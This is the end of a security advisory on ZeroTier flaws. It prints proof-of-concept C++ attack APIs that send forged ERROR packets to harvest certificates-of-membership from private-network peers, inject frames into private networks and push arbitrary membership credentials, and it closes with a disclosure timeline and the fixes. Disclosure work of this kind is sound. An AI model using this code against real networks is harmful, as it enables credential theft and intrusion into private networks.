0x0000: 4141 4141 4242 4242 AAAABBBB
This attack was confirmed against a vanilla Zerotier install without the modifications made to assist testing. This confirmed it was not an issue that was accidentally introduced by the testing code-changes.
Additional Attack APIs
Additional APIs were developed to facilitate the attacks in this advisory. The complete changes are included in the patch file in the References section. These changes are proof-of-concept at best and should not be used for any kind of legitimate Zerotier client.
dowhois
The dowhois
API was created to send WHOIS
packets for arbitrary
Zerotier addresses.
else if (ps[0] == "dowhois") {
char tmp[2048];
memset(tmp, 0x00, sizeof(tmp));
if (ps.size() == 2) {
uint64_t wantp = Utils::hexStrToU64(ps[1].c_str());
Address targetaddress = Address(wantp);
RuntimeEnvironment * RR = _node->getRuntime();
targetaddress.toString(tmp);
RR->sw->requestWhois(0x0,OSUtils::now(),targetaddress);
snprintf(tmp, sizeof(tmp), "WHOIS sent");
}
else {
OSUtils::ztsnprintf(tmp,sizeof(tmp),"Please supply address to WHOIS");
}
res["res"] = tmp;
scode = 501;
domembershiperror
The domembershiperror
API was created to send fraudulent ERROR
packets to harvest certificates-of-membership from legitimate private
network peers.
} else if (ps[0] == "domembershiperror") {
char tmp[2048];
memset(tmp, 0x00, sizeof(tmp));
if (ps.size() == 3) {
uint64_t wantp = Utils::hexStrToU64(ps[1].c_str());
uint64_t network = Utils::hexStrToU64(ps[2].c_str());
Address targetaddress = Address(wantp);
uint64_t pid = 0x43210; // garbage pid
RuntimeEnvironment * RR = _node->getRuntime();
Packet outp(targetaddress,RR->identity.address(),Packet::VERB_ERROR);
outp.append((uint8_t)Packet::VERB_HELLO);
outp.append((uint64_t)pid);
outp.append((uint8_t)Packet::ERROR_NEED_MEMBERSHIP_CERTIFICATE);
outp.append(network);
RR->sw->send(0x0, outp, true);
snprintf(tmp, sizeof(tmp), "Error sent to 0x%lx for network 0x%lx", wantp, network);
}
else {
OSUtils::ztsnprintf(tmp,sizeof(tmp),"Please supply peer and network address to send ERRORs to");
}
res["res"] = tmp;
scode = 501;
doframe
The doframe
API was created to inject private network frames.
} else if (ps[0] == "doframe") {
char tmp[2048];
memset(tmp, 0x00, sizeof(tmp));
if (ps.size() == 3) {
unsigned char arp[] = { 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42};
unsigned int arp_len = 8;
uint64_t wantp = Utils::hexStrToU64(ps[1].c_str());
uint64_t network = Utils::hexStrToU64(ps[2].c_str());
Address targetaddress = Address(wantp);
RuntimeEnvironment * RR = _node->getRuntime();
Packet outp(targetaddress,RR->identity.address(),Packet::VERB_FRAME);
outp.append(network);
outp.append((uint16_t)ZT_ETHERTYPE_ARP);
outp.append(arp,arp_len);
RR->sw->send(0x0, outp, true);
snprintf(tmp, sizeof(tmp), "Frame sent");
}
else {
OSUtils::ztsnprintf(tmp,sizeof(tmp),"Please supply peer and network address for doframe");
}
res["res"] = tmp;
scode = 501;
sendcom
The sendcom
API was created to send arbitrary COM data to arbitrary
peers.
} else if (ps[0] == "sendcom") {
char tmp[2048];
memset(tmp, 0x00, sizeof(tmp));
if (ps.size() == 3) {
uint64_t wantp = Utils::hexStrToU64(ps[1].c_str());
Address targetaddress = Address(wantp);
CertificateOfMembership com;
com.fromString(body.c_str());
RuntimeEnvironment * RR = _node->getRuntime();
Packet outp(targetaddress,RR->identity.address(),Packet::VERB_NETWORK_CREDENTIALS);
com.serialize(outp);
outp.append((uint8_t)0x00);
RR->sw->send(0x0, outp, true);
snprintf(tmp, sizeof(tmp), "COM sent");
}
else {
OSUtils::ztsnprintf(tmp,sizeof(tmp),"Please supply target peer address and COM string in the POST body.");
}
res["res"] = tmp;
scode = 501;
Timeline
18/06/2021 - Advisory sent to Zerotier
19/06/2021 - Root identity verification patch issued
15/07/2021 - Zerotier requested a retest of the root server security issue
21/07/2021 - Root identity issue retested, confirmed fixed
20/09/2021 - Advisory released
21/09/2021 - Collision detection implemented in Zerotier root servers
23/09/2021 - Zerotier 1.6.6 released